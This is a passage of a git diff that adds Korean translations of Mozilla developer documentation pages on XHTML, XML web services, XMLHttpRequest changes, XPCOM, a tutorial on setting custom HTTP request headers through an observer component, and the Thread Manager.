+ <li><a class="external" href="http://lachy.id.au/log/2005/12/xhtml-beginners">XHTML is not for Beginners</a> by Lachlan Hunt</li>
+</ul>
+
+<h2 id="지원">지원</h2>
+
+<p>대부분의 브라우저들은 현재 XHTML를 지원합니다, Firefox, Chrome, Safari, Opera, 그리고 Internet Explorer (IE 9 이후). (Internet Explorer 8 과 그 이전 버전은 표준의 XHTML MIME타입을 선언한 XHTML문서를 알려지지않은 파일타입으로 간주하여 다운로드 다이얼로그를 표시합니다.)</p>
+
+<p>또 많이 사용하는 {{Glossary("JavaScript")}} 라이브러리와 개발자도구들은 XHTML을 제한적으로 지원하건나 지원하지 않으니 주의하십시오.</p>
+
+<h2 id="HTML과의_차이점">HTML과의 차이점</h2>
+
+<p><a href="/en-US/docs/Properly_Using_CSS_and_JavaScript_in_XHTML_Documents" title="Properly Using CSS and JavaScript in XHTML Documents">Properly Using CSS and JavaScript in XHTML Documents</a> 글의 일부문에서 HTML과 XHTML의차이점을 설명하고 있습니다.</p>
+
+<h2 id="Tools" name="Tools">도구</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Standards-Compliant_Authoring_Tools" title="Standards-Compliant_Authoring_Tools">Standards-Compliant Authoring Tools</a></li>
+</ul>
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML" title="HTML">HTML</a></li>
+ <li><a href="/en-US/docs/Namespaces" title="Namespaces">Namespaces</a></li>
+</ul>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/XHTML:Tools" title="tag/XHTML:Tools">View All...</a></span></p>
diff --git a/files/ko/xml_web_services/index.html b/files/ko/xml_web_services/index.html
new file mode 100644
index 0000000000..6ff5121c6e
--- /dev/null
+++ b/files/ko/xml_web_services/index.html
@@ -0,0 +1,47 @@
+---
+title: XML Web Services
+slug: XML_Web_Services
+tags:
+  - XML Web Services
+translation_of: Archive/Mozilla/Firefox/SOAP_in_Gecko-based_Browsers
+---
+<div class="callout-box"><b><a href="ko/The_Basics_of_Web_Services">The Basics of Web Services</a></b><br>
+웹 서비스에 대한 짧은 소개</div>
+<div><b>Web service</b>는 응용프로그램이나 시스템 사이에 데이터를 교환하는데 사용하는 프로토콜과 표준 모음입니다. 다양한 프로그래밍 언어로 작성하고 다양한 플랫폼에서 돌아가는 소프트웨어 응용프로그램은 컴퓨터 하나에서 프로세스간 통신과 비슷한 방식으로 인터넷같은 컴퓨터 네트워크간의 데이터를 교환하는데 웹 서비스를 쓸 수 있습니다. XML 웹 서비스에서, 교환하는 모든 데이터는 XML 태그로 형식화됩니다. {{ Ref(1) }}</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"> <a>문서</a> </h4>
+<dl><dt> <a href="ko/SOAP_in_Gecko-based_Browsers">SOAP in Gecko-based Browsers</a>
+</dt><dd> <small>이 문서는 최근의 Gecko에 기반을 둔 브라우저에서 쓸 수 있는 SOAP과 JavaScript를 써서 어떻게 웹 서비스에 접속하는 지를 보입니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.w3schools.com/soap/default.asp">W3School's SOAP Tutorial</a>
+</dt><dd> <small>SOAP은 응용프로그램이 HTTP로 정보를 교환하게 하는 XML에 기반을 둔 간단한 프로토콜입니다. 이 <a class="external" href="http://www.w3schools.com">W3Schools</a> SOAP 입문서에서, 여러분은 SOAP이 무엇이고 응용프로그램간에 정보를 교환하기 위해 XML을 어떻게 쓰는지를 배울겁니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://davenet.scripting.com/1998/07/14/xmlRpcForNewbies">XML-RPC for Newbies</a>
+</dt><dd> <small>XML Remote Procedure Calls (XML-RPC)에 관한 비공식이지만 유익한 소개</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://webservices.xml.com/pub/a/ws/2001/04/04/webservices/">A Web Services Primer</a>
+</dt><dd> <small>"웹 서비스는 웹 응용프로그램의 새 종류(new breed)입니다. 온 웹에 출시(publish), 입지(locate), 호출(invoke)할 수 있는 자급식(self-contained), 자기기술(self-describing), 모듈식 응용프로그램입니다."</small>
+</dd></dl>
+<p><span class="alllinks"><a>모두 보기...</a></span>
+</p>
+</td>
+<td>
+<h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0"> 커뮤니티 </h4>
+<ul><li> Mozilla 포럼 보기...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-xml", "mozilla.dev.tech.xml") }}
+</p>
+<ul><li> <a class="external" href="http://groups.yahoo.com/group/xml-rpc/">XML-RPC mailing list</a>
+</li><li> <a class="external" href="http://www.xmlrpc.com/">XML-RPC.com</a>
+</li></ul>
+<h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C"> 관련 주제 </h4>
+<dl><dd> <a href="ko/XML">XML</a>
+</dd></dl>
+</td></tr></tbody></table>
+<hr>
+<p><small>{{ Note(1) }} From <a class="external" href="http://en.wikipedia.org/wiki/Web_Service">Wikipedia</a>.</small>
+</p><p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/XML_Web_Services", "fr": "fr/Services_Web_XML", "it": "it/XML_Web_Services", "ja": "ja/XML_Web_Services", "pl": "pl/XML_Web_Services" } ) }}
diff --git a/files/ko/xmlhttprequest_changes_for_gecko1.8/index.html b/files/ko/xmlhttprequest_changes_for_gecko1.8/index.html
new file mode 100644
index 0000000000..12db529f75
--- /dev/null
+++ b/files/ko/xmlhttprequest_changes_for_gecko1.8/index.html
@@ -0,0 +1,19 @@
+---
+title: XMLHttpRequest changes for Gecko1.8
+slug: XMLHttpRequest_changes_for_Gecko1.8
+tags:
+  - Add-ons
+  - Extensions
+  - XMLHttpRequest
+translation_of: Mozilla/XMLHttpRequest_changes_for_Gecko_1.8
+---
+<p>이 문서는 버전 1.7(Firefox 1.0과 함께 들어간 Gecko 버전) 이래로 <a href="ko/Gecko">Gecko</a>의
+<a href="ko/XMLHttpRequest">XMLHttpRequest</a> 구현에 만들어진 변화를 설명한다. 이 변화는 XUL확장과 XUL응용에만 적용한다.
+웹 응용프로그램에 적용하지 않는다.
+</p>
+<h3 id="XMLHttpRequest.send_.EB.B3.80.ED.99.94" name="XMLHttpRequest.send_.EB.B3.80.ED.99.94"> XMLHttpRequest.send 변화</h3>
+<p><code>send</code> method에 <a href="ko/NsIInputStream">nsIInputStream</a> instance를 보내면, 스트림의 시작에 더 이상&lt;tt&gt;Content-Length&lt;/tt&gt;와 &lt;tt&gt;Content-Type&lt;/tt&gt;을 포함하지 않아야 한다. 대신, &lt;tt&gt;Content-Length&lt;/tt&gt; header 는 스트림의 길이로부터 추론되고, &lt;tt&gt;Content-Type&lt;/tt&gt; header 는 <code>setRequestHeader</code> method를 불러 수동으로 서술되어야 한다.이 요구는 <a class="external" href="http://lxr.mozilla.org/mozilla1.8/source/extensions/xmlextras/base/public/nsIXMLHttpRequest.idl#213">nsIXMLHttpRequest.idl</a>에서 좀더 전체적으로 설명된다.
+</p>
+<h3 id="XMLHttpRequest.onreadystatechange_.EB.B3.80.ED.99.94" name="XMLHttpRequest.onreadystatechange_.EB.B3.80.ED.99.94"> XMLHttpRequest.onreadystatechange 변화</h3>
+<p>이 속성은 <code>nsIOnReadystatechangehandler</code> 대신 <code>nsIOnReadyStateChangeHandler</code> 형식을 가진다.
+</p>
diff --git a/files/ko/xpcom/index.html b/files/ko/xpcom/index.html
new file mode 100644
index 0000000000..9d24acee7e
--- /dev/null
+++ b/files/ko/xpcom/index.html
@@ -0,0 +1,92 @@
+---
+title: XPCOM
+slug: XPCOM
+tags:
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM
+---
+<div class="callout-box"><strong>XPCOM 입문서</strong>
+<p><a class="external" href="http://www-128.ibm.com/developerworks">IBM developerWorks</a>의 5부작 입문서: <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-xpcom.html">I부</a>, <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-xpcom2.html">II부</a>, <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-xpcom3.html">III부</a>, <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-xpcom4/index.html">IV부</a>, <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-xpcom5.html">V부</a></p>
+</div>
+
+<div><strong>In progress. XPCOM</strong>은 여러 플랫폼에 쓸 수 있는 컴포넌트 객체 모델로 Microsoft COM과 비슷합니다. XPCOM은 여러 가지 <a href="ko/XPCOM/Language_Bindings">언어 바인딩</a>이 있어, XPCOM 컴포넌트를 C++ 외에 JavaScript와 Java, Python에 구현되어 사용할 수 있습니다. XPCOM의 인터페이스는 <a href="ko/XPIDL">XPIDL</a>라고 부르는 IDL 언어의 방언에서 정의합니다.
+
+<p>XPCOM 자체는 파일/메모리 관리, 쓰레드, 기본 데이터 구조 (문자열, 배열, 변수형)과 같은 기본 컴포넌트와 클래스 들을 제공합니다. 대부분의 XPCOM 컴포넌트는 기본적으로 포함되어 있지 않으며 (Gecko나 Necko와 같은) 플랫폼의 다른 부분이나 응용프로그매, 심지어 확장 기능에 의해 제공됩니다.</p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"><a>문서</a></h4>
+
+    <h5 id=".EA.B8.B0.EB.B3.B8_XPCOM_.EB.AC.B8.EC.84.9C" name=".EA.B8.B0.EB.B3.B8_XPCOM_.EB.AC.B8.EC.84.9C">기본 XPCOM 문서</h5>
+
+    <dl>
+     <dt><a href="ko/XPCOM_API_Reference">XPCOM API Reference</a></dt>
+     <dd><small>XPCOM이 제공하는 기본 컴포넌트, 인터페이스, 그리고 함수 문서</small>.</dd>
+    </dl>
+
+    <dl>
+     <dt><a href="ko/XPCOM_string_guide">String</a>, <a href="ko/XPCOM_hashtable_guide">hashtable</a>, 그리고 <a href="ko/XPCOM_array_guide">array</a> 길잡이</dt>
+     <dd><small>기초 데이터 구조 사용하기.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="ko/XPCOM_Glue">XPCOM Glue</a></dt>
+     <dd><small>XPCOM Glue는 XPCOM의 바뀔 수 있는 부분에 (xpcom_core.dll, xpcom_core.so, xp_core.dylib)에 의존하지 않고 XPCOM 유틸리티 함수와 클래스를 사용하게 합니다.</small></dd>
+    </dl>
+
+    <h5 id="XPCOM_.EC.BB.B4.ED.8F.AC.EB.84.8C.ED.8A.B8_.EB.A7.8C.EB.93.A4.EA.B8.B0" name="XPCOM_.EC.BB.B4.ED.8F.AC.EB.84.8C.ED.8A.B8_.EB.A7.8C.EB.93.A4.EA.B8.B0">XPCOM 컴포넌트 만들기</h5>
+
+    <dl>
+     <dt><a href="ko/Creating_XPCOM_Components">XPCOM 컴포넌트 만들기</a></dt>
+     <dd><small>이 글은 브라우징 행동양식을 제어하는 XPCOM 컴포넌트를 만들기 위한 입문서를 제공합니다.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="ko/How_to_Build_an_XPCOM_Component_in_Javascript">Javascript로 XPCOM 컴포넌트 만드는 법</a></dt>
+     <dd><small>JavaScript 컴포넌트 작성을 위한 길잡이</small></dd>
+    </dl>
+
+    <h5 id=".EA.B8.B0.ED.83.80" name=".EA.B8.B0.ED.83.80">기타</h5>
+
+    <dl>
+     <dt><a class="external" href="http://www.mozilla.org/scriptable/avoiding-leaks.html">누출 없이 JavaScript로 XPCOM 쓰기</a></dt>
+     <dd><small>(XPConnect로 알려진) JavaScript로 XPCOM 쓰는 환경은 메모리 관리 문제가 불명확한 환경입니다. 사용하는 객체가 은밀히 참조 카운트되기 때문에 메모리 누출이 있는 JavaScript 코드를 작성하게 되는 일이 많습니다.</small></dd>
+    </dl>
+
+    <p><span class="alllinks"><a>View All...</a></span></p>
+   </td>
+   <td>
+    <h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0">커뮤니티</h4>
+
+    <ul>
+     <li>dev-tech-xpcom group</li>
+    </ul>
+
+    <p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xpcom"> 메일링 리스트</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom"> 뉴스그룹</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom/feeds"> 웹 Feed</a></li>
+</ul><p></p>
+
+    <h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C">관련 주제</h4>
+
+    <dl>
+     <dd><a href="ko/XPCOM/Language_Bindings">Language Bindings</a>, <a href="ko/JavaXPCOM">JavaXPCOM</a>, <a href="ko/PyXPCOM">PyXPCOM</a>, <a href="ko/XPConnect">XPConnect</a>, <a href="ko/JavaScript">JavaScript</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Categories</span></p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<p> </p>
+
+<p></p>
diff --git a/files/ko/xpcom/setting_http_request_headers/index.html b/files/ko/xpcom/setting_http_request_headers/index.html
new file mode 100644
index 0000000000..bd648533e4
--- /dev/null
+++ b/files/ko/xpcom/setting_http_request_headers/index.html
@@ -0,0 +1,209 @@
+---
+title: Setting HTTP request headers
+slug: XPCOM/Setting_HTTP_request_headers
+tags:
+  - Add-ons
+  - Extensions
+  - HTTP
+  - XUL
+  - XULRunner
+translation_of: Mozilla/Tech/XPCOM/Setting_HTTP_request_headers
+---
+<p> </p>
+<p>HTTP는 웹 내부의 핵심 기술들 중의 하나입니다. 실제 컨텐츠 외에도 HTTP 헤더를 통해 <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html">중요한 정보들</a>이 HTTP 요청과 응답에 포함되어 전송됩니다.</p>
+<p>여러분은 응용프로그램이 생성하는 요청에 고유한 HTTP 헤더를 추가할 수 있는데, 이러한 요청들은 <a href="/ko/XMLHttpRequest" title="ko/XMLHttpRequest">XMLHttpRequest</a>로 인해서 HTTP 채널을 명시적으로 여는 코드로부터 컨테츠 내의 <a href="/ko/HTML/element/img" title="ko/HTML/element/img">&lt;img&gt;</a> 요소에 대한 요청, <a href="/ko/CSS" title="ko/CSS">CSS</a>로 부터 발생하는 요청 등을 모두 포함합니다.</p>
+<h3 id="HTTP_Channels" name="HTTP_Channels">HTTP Channels</h3>
+<p>HTTP 요청과 응답을 처리하기 위해서는 일반적으로 <code><a href="/ko/NsIHttpChannel" title="ko/NsIHttpChannel">nsIHttpChannel</a></code>을 사용하게 됩니다. <code>nsIHttpChannel</code> 인터페이스는 많은 속성과 메소드를 포함하고 있지만, 우리가 관심을 가질 메소드는 <code>setRequestHeader</code>입니다. 이 메소드는 우리가 <em>HTTP 요청 헤더를 설정할 수</em> 있게 해줍니다.</p>
+<p>아래는 HTTP 헤더를 설정하는 예제 코드입니다.</p>
+<pre class="eval">// "X-Hello: World" 헤더를 요청에 넣습니다.
+httpChannel.setRequestHeader("X-Hello", "World", false);
+</pre>
+<p>위 예제 코드에는 <code>httpChannel</code>라는 변수가 있는데, 이는 <code>nsIHttpChannel</code>를 구현하는 객체입니다(변수 이름은 아무거나 상관없습니다).</p>
+<p><code>setRequestHeader</code> 메소드는 3개의 인자를 가집니다. 첫 번째 인자는 HTTP 요청 헤더의 <em>이름</em>입니다. 두번째 인자는 HTTP 요청 헤더의 <em>값</em>입니다. 그리고 마지막 세번째 인자는 일단 무시하고 항상 <code>false</code>로 지정하세요.</p>
+<p>위 예제에서 우리가 추가한 HTTP 요청 헤더는 <em>이름</em>이 <code>X-Hello</code>이고 <em>값</em>은 <code>World</code>입니다.</p>
+<div class="note">
+ <p><strong>주의</strong>: 만일 고유한 HTTP 헤더를 만들 경우, 반드시 이름 앞에 <code>X-</code>를 붙이세요(예제에서는 이름 앞에 <code>X-</code>를 붙여서 <code>Hello</code>가 아닌 <code>X-Hello</code>인 HTTP 헤더를 만들었습니다).</p>
+</div>
+<h3 id=".EC.95.8C.EB.A6.BC.28notifications.29" name=".EC.95.8C.EB.A6.BC.28notifications.29">알림(notifications)</h3>
+<p>이제 여러분은 HTTP 요청이 만들어질 때 어떻게 <code>nsIHttpChannel</code>을 얻는지에 대해 궁금하실 것입니다.</p>
+<p>여러분의 코드가 요청을 초기화하는 경우에는, 이미 이 객체를 가지고 있게 됩니다. 다른 요청을 가로챌(trapping) 경우에는 알림(notification)의 방식으로 처리되며, 이는 다른 언어와 프레임워크에서 볼 수 있는 <em>events</em> 또는 <em>signals</em>과 유사합니다.</p>
+<p>특별히 HTTP 요청이 일어나기 직전에 <code>nsIHttpChannel</code>을 얻기 위해서는 <code>"http-on-modify-request"</code> 토픽(topic)을 <em>관찰(observe)</em>해야 합니다. (<code>"http-on-modify-request"</code>은 문자열입니다.)</p>
+<div class="note">
+ <p><strong>주의</strong>: <code>"http-on-modify-request"</code>외에도 여러가지 토픽이 존재하며, <code>"http-on-examine-response"</code> , <code>"xpcom-shutdown"</code>와 같은 알림을 받을 수 있습니다. 또한 자신만의 토픽을 만들고 알림을 발송할 수 있습니다.</p>
+ <p>알림 프레임워크와 일반적인 알림 토픽의 목록에 관한 정보는 <a href="/ko/Observer_Notifications" title="ko/Observer_Notifications">Observer Notifications</a>을 참조하세요.</p>
+</div>
+<h3 id=".EA.B4.80.EC.B0.B0.EC.9E.90.28observers.29" name=".EA.B4.80.EC.B0.B0.EC.9E.90.28observers.29">관찰자(observers)</h3>
+<p><code>"http-on-modify-request"</code>와 같은 토픽에 대한 알림을 받으려면, <strong>관찰자(observer)</strong>를 생성해야 합니다. 관찰자는 <a href="/ko/NsIObserver" title="ko/NsIObserver">nsIObserver</a> 인터페이스를 구현하는 컴포넌트입니다. 일단 관찰자에 토픽을 <em>등록</em>하면, 관찰자는 자신의 <code>observe</code> 메소드가 호출됨으로써 등록한 토픽에 대한 알림을 받게 됩니다.</p>
+<p>아래는 관찰자 예제로 <code>http-on-modify-request</code> 알림으로 전송된 채널에 사용자 정의 헤더인 "X-Hello"를 추가합니다.</p>
+<pre>var httpRequestObserver =
+{
+  observe: function(subject, topic, data)
+  {
+    if (topic == "http-on-modify-request") {
+      var httpChannel = subject.QueryInterface(Components.interfaces.nsIHttpChannel);
+      httpChannel.setRequestHeader("X-Hello", "World", false);
+    }
+  }
+};
+</pre>
+<p><span class="comment">div class="note"&gt; Doesn't seem very suitable for this article; readers should are typically assumed to be familiar with JS. Nickolay '''NOTE''': Often people expect <a href="/ko/JavaScript">JavaScript</a> to be just like <a href="/ko/Java">Java</a>. And while superficially, they look very similar, there are some important differences between the two. For example, while Java is an &lt;em&gt;object-oriented programming language&lt;/em&gt;, JavaScript is not. JavaScript is &lt;em&gt;prototype-based programming language&lt;/em&gt; and as such while it has &lt;em&gt;objects&lt;/em&gt; it does not have &lt;em&gt;classes&lt;/em&gt;. (Which is why, if you are not well versed with JavaScript, the object creation in the sample code above may look strange.) &lt;/div</span></p>
+<p><code>observe</code> 메소드가 가지는 파라미터의 개수가 중요하다는 점을 명심하세요. 이 메소드는 위 예제 코드에서 본 바와 같이 3개의 파라미터를 가집니다. <code>"http-on-modify-request"</code> 토픽의 경우, 첫번째 파라미터(위 코드에서 <code>subject</code>)는 <code>nsIHttpChannel</code>이 됩니다. 그러나 우리에게는 <code><a href="/ko/NsISupports" title="ko/NsISupports">nsISupports</a></code>로 전달됩니다. 따라서 이 파라미터를 <code>QueryInterface</code>를 통하여 <code>nsISupports</code>에서 <code>nsIHttpChannel</code>로 <em>변경</em>할 필요가 있습니다. 당연히, 어떤 객체를 다른것으로 <em>변환</em>하는 것은 매우 보기 않좋은 것이고, <em><a class="external" href="http://en.wikipedia.org/wiki/Syntactic_sugar">syntactic sugar</a></em>가 떨어지게 됩니다.</p>
+<p><code>if</code> 블럭 내 두 번째 줄은 아마 친근할 것입니다. 본 기사의 앞에서 사용한 것과 동일한 코드로 HTTP 요청 헤더를 추가하는 것입니다.</p>
+<p><code>httpRequestObserver</code>라는 객체의 이름은 중요하지 않습니다. 이 이름은 우리가 원하는데로 지정할 수 있습니다.</p>
+<h3 id=".EB.93.B1.EB.A1.9D.28registering.29" name=".EB.93.B1.EB.A1.9D.28registering.29">등록(registering)</h3>
+<p>관찰자(observer)를 생성한 뒤에는 이를 등록해 주어야 합니다. 우리의 경우에 <code>"http-on-modify-request"</code> 토픽에 등록하고자 합니다. 아래의 코드로 이를 수행할 수 있습니다.</p>
+<pre class="eval">var observerService = Components.classes["@mozilla.org/observer-service;1"]
+                                .getService(Components.interfaces.<a href="/ko/NsIObserverService" title="ko/NsIObserverService">nsIObserverService</a>);
+observerService.addObserver(httpRequestObserver, "http-on-modify-request", false);
+</pre>
+<p>첫번째 문장에서는 알림을 받고자하는 토픽을 등록할 객체를 얻습니다. 즉, 관찰자 객체를 생성합니다.</p>
+<p>두번째 문장에서 실제 등록을 합니다. 이 코드는 <code>"http-on-modify-request"</code> 토픽이 발생하면(이 토픽은 HTTP 요청의 바로 전에 발생한다는 것을 알고 있습니다) <code>httpRequestObserver</code>에게 (<code>observe</code> 메소드를 실행함으로써) 알려달라고 말하는 것입니다.</p>
+<h3 id=".EB.93.B1.EB.A1.9D_.ED.95.B4.EC.A0.9C.28unregistering.29" name=".EB.93.B1.EB.A1.9D_.ED.95.B4.EC.A0.9C.28unregistering.29">등록 해제(unregistering)</h3>
+<p>여러분은 종료 전에 관측자의 등록을 해제하는게 좋습니다. 그렇지 않으면 메모리 누수가 발생할 수 있습니다. 관측자의 등록을 해제하려면 다음과 같이 <code>nsIObserverService.removeObserver</code>를 사용하면 됩니다.</p>
+<pre class="eval">observerService.removeObserver(httpRequestObserver, "http-on-modify-request");
+</pre>
+<h3 id="XPCOM_components" name="XPCOM_components">XPCOM components</h3>
+<p>여러분은 (창이 아니라)응용 프로그램마다 <code>http-on-modify-request</code> 관찰자를 등록해주어야 합니다. 이는 관찰자의 구현을 <a href="/ko/XUL_Overlays" title="ko/XUL_Overlays">overlay</a>가 아닌 <a href="/ko/How_to_Build_an_XPCOM_Component_in_Javascript" title="ko/How_to_Build_an_XPCOM_Component_in_Javascript">XPCOM component</a>에서 해야 한다는 것을 의미합니다.</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p>기본적인 사항은 여기까지입니다. 하지만 여러분을 위해 <code>httpRequestObserver</code> 객체를 이용하는 약간 다른 버전을 보여 주겠습니다.</p>
+<p>앞서 보았던 버전은 학습을 위해서는 유용하지만, 실제 응용 프로그램에서는 다음과 같이 코딩될 것입니다.</p>
+<pre>var httpRequestObserver =
+{
+  observe: function(subject, topic, data)
+  {
+    if (topic == "http-on-modify-request") {
+      var httpChannel = subject.QueryInterface(Components.interfaces.nsIHttpChannel);
+      httpChannel.setRequestHeader("X-Hello", "World", false);
+    }
+  },
+
+  get observerService() {
+    return Components.classes["@mozilla.org/observer-service;1"]
+                     .getService(Components.interfaces.nsIObserverService);
+  },
+
+  register: function()
+  {
+    this.observerService.addObserver(this, "http-on-modify-request", false);
+  },
+
+  unregister: function()
+  {
+    this.observerService.removeObserver(this, "http-on-modify-request");
+  }
+};
+</pre>
+<p>이 객체는 편의를 위해 <code>register()</code>와 <code>unregister()</code> 메소드가 있으므로 다음과 같이 호출해서 활성화할 수 있습니다.</p>
+<pre class="eval">httpRequestObserver.register();
+</pre>
+<p>또한 프로그램이 종료되는 시점에 관찰자를 등록 해제하는 것을 잊지 마세요.</p>
+<pre class="eval">httpRequestObserver.unregister();
+</pre>
+<p>여기까지 입니다.</p>
+<p><span class="comment">We need downloadable XPCOM component for this</span></p>
+<h3 id=".EC.98.88.EC.A0.9C_.EC.BD.94.EB.93.9C" name=".EC.98.88.EC.A0.9C_.EC.BD.94.EB.93.9C">예제 코드</h3>
+<pre>var headerName  = "X-hello";
+var headerValue = "world";
+
+function LOG(text)
+{
+    //    var consoleService = Components.classes["@mozilla.org/consoleservice;1"].getService(Components.interfaces.nsIConsoleService);
+    //    consoleService.logStringMessage(text);
+}
+
+function myHTTPListener() { }
+
+myHTTPListener.prototype = {
+
+  observe: function(subject, topic, data)
+  {
+      if (topic == "http-on-modify-request") {
+
+          LOG("----------------------------&gt; (" + subject + ") mod request");
+
+          var httpChannel = subject.QueryInterface(Components.interfaces.nsIHttpChannel);
+          httpChannel.setRequestHeader(headerName, headerValue, false);
+          return;
+      }
+
+
+      if (topic == "app-startup") {
+
+          LOG("----------------------------&gt; app-startup");
+
+          var os = Components.classes["@mozilla.org/observer-service;1"]
+                             .getService(Components.interfaces.nsIObserverService);
+
+          os.addObserver(this, "http-on-modify-request", false);
+          return;
+      }
+  },
+
+  QueryInterface: function (iid) {
+        if (iid.equals(Components.interfaces.nsIObserver) ||
+            iid.equals(Components.interfaces.nsISupports))
+            return this;
+
+        Components.returnCode = Components.results.NS_ERROR_NO_INTERFACE;
+        return null;
+    },
+};
+
+var myModule = {
+    registerSelf: function (compMgr, fileSpec, location, type) {
+
+        var compMgr = compMgr.QueryInterface(Components.interfaces.nsIComponentRegistrar);
+        compMgr.registerFactoryLocation(this.myCID,
+                                        this.myName,
+                                        this.myProgID,
+                                        fileSpec,
+                                        location,
+                                        type);
+
+
+          LOG("----------------------------&gt; registerSelf");
+
+        var catMgr = Components.classes["@mozilla.org/categorymanager;1"].getService(Components.interfaces.nsICategoryManager);
+        catMgr.addCategoryEntry("app-startup", this.myName, this.myProgID, true, true);
+    },
+
+
+    getClassObject: function (compMgr, cid, iid) {
+
+          LOG("----------------------------&gt; getClassObject");
+
+        return this.myFactory;
+    },
+
+    myCID: Components.ID("{9cf5f3df-2505-42dd-9094-c1631bd1be1c}"),
+
+    myProgID: "@dougt/myHTTPListener;1",
+
+    myName:   "Simple HTTP Listener",
+
+    myFactory: {
+        QueryInterface: function (aIID) {
+            if (!aIID.equals(Components.interfaces.nsISupports) &amp;&amp;
+                !aIID.equals(Components.interfaces.nsIFactory))
+                throw Components.results.NS_ERROR_NO_INTERFACE;
+            return this;
+        },
+
+        createInstance: function (outer, iid) {
+
+          LOG("----------------------------&gt; createInstance");
+
+          return new myHTTPListener();
+        }
+    },
+
+    canUnload: function(compMgr) {
+        return true;
+    }
+};
+
+function NSGetModule(compMgr, fileSpec) {
+    return myModule;
+}
+</pre>
+<p> </p>
diff --git a/files/ko/xpcom/the_thread_manager/index.html b/files/ko/xpcom/the_thread_manager/index.html
new file mode 100644
index 0000000000..3f3be51262
--- /dev/null
+++ b/files/ko/xpcom/the_thread_manager/index.html
@@ -0,0 +1,44 @@
+---
+title: The Thread Manager
+slug: XPCOM/The_Thread_Manager
+tags:
+  - Firefox 3
+  - Threads
+translation_of: Mozilla/Tech/XPCOM/The_Thread_Manager
+---
+<p> </p><div class="blockIndicator draft">
+    <p><strong>초안</strong><br>
+    이 문서는 작성중입니다.</p>
+
+</div><p></p>
+<p>Firefox 3에서 도입된 스레드 관리자는 스레드를 생성하고 이벤트를 처리하기 위해 스레드에 디스패치하는 사용하기 쉬운 방법을 제공합니다.</p>
+<p>스레드 지원을 제공하는 몇 가지 인터페이스가 있습니다.</p>
+<dl>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadManager" title="">nsIThreadManager</a></code></dt>
+ <dd>
+  스레드를 생성할 수 있게 해주는 스레드 관리자.</dd>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThread" title="">nsIThread</a></code></dt>
+ <dd>
+  운영체제 스레드를 캡슐화하고 코드에서 손쉬운 플랫폼 중립적인 접근을 제공하는 <code>nsIThread</code> 인터페이스.</dd>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadPool" title="">nsIThreadPool</a></code></dt>
+ <dd>
+  작업 스레드(worker threads)의 제한된 집합을 제공하는 스레드 풀. 이벤트를 풀로 디스패치할 때 풀은 이용 가능한 작업 스레드를 선택하고 이벤트를 처리.</dd>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadInternal" title="">nsIThreadInternal</a></code></dt>
+ <dd>
+  XPCOM 스레드 개체가 구현하는 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThread" title="">nsIThread</a></code>의 하위 클래스로서 스레드의 디스패치 동작을 관찰하기 위한 지원을 추가.</dd>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadObserver" title="">nsIThreadObserver</a></code></dt>
+ <dd>
+  이벤트가 스레드에 디스패치될 때와 그 처리를 마쳤을 때에 알림을 받기 위하여 스레드를 감시하는 능력을 제공.</dd>
+ <dt>
+  <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadEventFilter" title="">nsIThreadEventFilter</a></code></dt>
+ <dd>
+  이벤트 여과를 위하여 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadInternal" title="">nsIThreadInternal</a></code>의 <code><a href="ko/NsIThreadInternal#pushEventQueue.28.29">pushEventQueue()</a></code> 메소드가 이용하는 인테페이스.</dd>
+</dl>
+<div class="noinclude">
+  </div>
+<p></p>
